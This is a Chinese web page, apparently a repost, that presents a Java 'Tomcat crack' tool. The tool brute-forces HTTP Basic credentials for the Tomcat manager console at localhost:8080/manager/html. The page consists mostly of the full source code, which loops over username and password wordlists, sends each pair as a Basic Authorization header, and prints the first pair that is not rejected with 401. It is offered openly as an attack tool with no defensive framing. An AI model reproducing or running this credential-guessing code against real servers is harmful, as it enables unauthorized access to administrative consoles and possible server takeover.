当前位置:web 服务器 > Tomcat >>

暴力破解tomcat工具(JAVA版)

这个没有图形界面,过几天有时间了再把界面做出来。o(∩_∩)o...

测试环境:myeclipse+jdk1.4


Made by 孤水绕城

转载请注明出处 。
QQ:540410588
Blog:http://hi.baidu.com/540410588/


/**
* <pre>
* Title:         HttpRequestProxy.java
* Project:     Tomcat Crack For Java
* Author:        孤水绕城
* Create:         2007-7-3 上午03:07:07
* Copyright:     Copyright (c) 2007
* <pre>
*/
//package com.hengpeng.ante.http;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;


import org.apache.log4j.Logger;

/**
* <pre>
* HTTP请求代理类
* </pre>
*
* @author benl
* @version 1.0, 2007-7-3
*/
public class HttpRequestProxy
{
/**
* 连接超时
*/
private static int connectTimeOut = 5000;

/**
* 读取数据超时
*/
private static int readTimeOut = 10000;

/**
* 请求编码
*/
private static String requestEncoding = "GBK";


/**
* <pre>
* 发送带参数的GET的HTTP请求
* </pre>
*
* @param reqUrl HTTP请求URL
* @param parameters 参数映射表
* @return HTTP响应的字符串
*/

public static boolean doGet(String requrl,String getstr){

boolean flag = false;
HttpURLConnection url_con = null;
String responseContent = null;
try
{
StringBuffer params = new StringBuffer();             
URL url = new URL(requrl);
url_con = (HttpURLConnection) url.openConnection();
// url_con.set
url_con.setRequestMethod("GET");
url_con.setRequestProperty("Connection", "Keep-Alive");
url_con.setRequestProperty("Cache-Control", "no-cache");
url_con.setRequestProperty("Authorization", "Basic "+getstr);
System.setProperty("sun.net.client.defaultConnectTimeout", String
.valueOf(HttpRequestProxy.connectTimeOut));// (单位:毫秒)jdk1.4换成这个,连接超时
System.setProperty("sun.net.client.defaultReadTimeout", String
.valueOf(HttpRequestProxy.readTimeOut)); // (单位:毫秒)jdk1.4换成这个,读操作超时
// url_con.setConnectTimeout(5000);//(单位:毫秒)jdk
// 1.5换成这个,连接超时
// url_con.setReadTimeout(5000);//(单位:毫秒)jdk 1.5换成这个,读操作超时
url_con.setDoOutput(true);

byte[] b = params.toString().getBytes();
url_con.getOutputStream().write(b, 0, b.length);
url_con.getOutputStream().flush();
url_con.getOutputStream().close();
if(url_con.getResponseCode()!=401){                 
flag = true;                          
}
}
catch (IOException e)
{
e.printStackTrace();
}
finally
{
if (url_con != null)
{
url_con.disconnect();
}
}
return flag;

}

public static void readFile(String user,String pass){  
File fileuser = new File(user);
File filepass = new File(pass);
String struser="";
String strpass="";
try {
InputStream inuser = new FileInputStream(fileuser);
InputStreamReader isruser = new InputStreamReader(inuser);
BufferedReader bfuser = new BufferedReader(isruser);
String a="" ;
while((struser=bfuser.readLine())!=null){
InputStream inpass = new FileInputStream(filepass);
InputStreamReader isrpass = new InputStreamReader(inpass);
BufferedReader bfpass = new BufferedReader(isrpass);
while((strpass=bfpass.readLine())!=null){
byte[] result = Base64.encode((struser+":"+strpass).getBytes());
a = new String(result);
boolean temp1 ;
temp1=HttpRequestProxy.doGet("http://localhost:8080/manager/html/",a);
if(temp1){
System.out.print((struser+":"+strpass));
break;
}
}
}
} catch (FileNotFoundException e) {

e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public static void main(String[] args)
{

String pathuser="D:\Myeclipsee\MyJava\src\user.txt";
String pathpass="D:\Myeclipsee\MyJava\src\pass.txt";
HttpRequestProxy.readFile(pathuser,pathpass);           
}
}
补充:软件开发 , Java ,
Apache
IIS
Nginx
Tomcat
如果你遇到web 服务器难题:
请访问www.zzzyk.com 试试
CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,